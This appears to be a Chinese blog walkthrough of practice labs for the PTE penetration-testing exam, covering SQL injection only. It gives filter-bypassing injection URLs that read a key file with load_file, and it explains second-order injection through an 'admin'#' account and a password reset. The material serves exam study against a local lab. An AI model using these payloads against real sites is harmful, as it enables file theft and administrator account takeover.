由于最近备战pte考试,花钱搞了两套靶场,可惜大题环境差点,前面几题废了好大力气才做出来,给大家分享下靶场思路。
首先,先总结一下考试的内容。题型分为选择题和实操题两部分。满分为100分,选择题有20道,共20分,主要考查一下安全方面的基础知识。
剩下的为80分的实操题,分为6个大题。
1.SQL注入(通常为mysql数据库)
2.文件上传漏洞
3.文件包含漏洞
4.命令执行漏洞
5.日志审计
6.综合渗透分析(分为3道小题)
第一题为SQL注入的题
个人觉得SQL注入的题就是多练习,把常见的各种姿势练熟悉,以及绕常规的WAF的技巧掌握了就基本上没什么问题了。
靶场一
为了加深印象,就还是按照标准测试来:
发现过滤了空格,union,空格用/**/来代替,union考虑用双写来绕过。
第一步:闭合id找注入点
构造payload http://192.168.43.99:8081/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=1%23
http://192.168.43.99:8081/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2%23
第二步:判断字段数:
http://192.168.43.99:8081/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=1/**/group/**/by/**/4%23
当group by 到5时,发现报错。
第三步:找回显点
http://192.168.43.99:8081/vulnerabilities/fu1.php?id=1%27)/**/and/**/1=2/**/ununionion/**/select/**/1,2,3,4%23
第四步:由于题目直接说了通过SQL注入漏洞读取/tmp/360/key文件,答案就在文件中。读文件直接用load_file即可搞定。
回显点有好多个,这里直接在3、4处显示文件内容。
构造最终的payload:
http://192.168.43.99:8081/vulnerabilities/fu1.php?id=?id=1%27)/**/and/**/1=2/**/uniunionon/**/select/**/1,2,load_file(%27/tmp/360/key%27),load_file(%27/tmp/360/key%27)%23
当然也可以用sqlmap来跑,空格被过滤,这里需要加tamper脚本
靶场二
做靶场二之前先了解下二阶注入。
注入分类:
SQL注入一般分为两类:一阶SQL注入(普通SQL注入),二阶SQL注入
什么是二阶注入?
二阶注入就是无法直接注入,它时指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
注入比较:
一阶SQL注入:
1、一阶SQL注入发生在一个HTTP请求和响应中,对系统的攻击是立即执行的;
2、攻击者在http请求中提交非法输入;
3、应用程序处理非法输入,使用非法输入构造SQL语句;
4、在攻击过程中向攻击者返回结果。
二阶SQL注入:
1、攻击者在http请求中提交恶意输入;
2、恶意输入保存在数据库中;
3、攻击者提交第二次http请求;
4、为处理第二次http请求,程序在检索存储在数据库中的恶意输入,构造SQL语句;
5、如果攻击成功,在第二次请求响应中返回结果。
注入原理:
假设一个网站数据库中存在一个用户名为:“admin”,密码为:“123456”。攻击者注册用户名为:“admin'#”,密码为:“123456”;程序中的代码为:
String name=StringEscapeUtiles.escapeSql(request.getParameter("Name"));
String pwd=StringEscapeUtiles.escapeSql(request.getParameter("pwd"));
String sql1="insert into user(username,password) values ("name","pwd")";
程序在把输入数据存入数据库之前,对输入的数据中的单引号进行了转义来防止恶意输入对对数据库中数据带来的影响,避免了一阶注入带来的问题,但是在数据库中存入的用户名仍然为:“admin'#”。现在攻击者要更新密码,程序会首先判断用户是否存在,代码为:
String name=StringEscapeUtiles.escapeSql(request.getParameter("Name"));
String oldpwd=StringEscapeUtiles.escapeSql(request.getParameter("oldpwd"));
String newpwd=StringEscapeUtiles.escapeSql(request.getParameter("newpwd"));
String sql2 = "select * from user where username="name" and password="oldpwd"";
确认用户存在且密码正确时,应用程序执行更新密码语句:
sql3="update user set password="newpwd" where username="username"";
在数据库中执行语句为:
update user set password =“123456” where username='admin'# '
在数据库语句这种“-- ”或者“#”表示注释,因此“-- ”或者“#”后面的语句不会执行;最终攻击者改变的不是“admin'# ”的密码,而是admin的密码,从而实现攻击。
解题第一步:注册用户名为admin'#的用户,密码为123456
解题第二步:登陆发现没有权限查看,页面可以重置密码。重置密码为root123
解题第三步:看看用admin 和 root123能否完成二阶注入,获取key
至此两套靶场的sql注入成功拿下。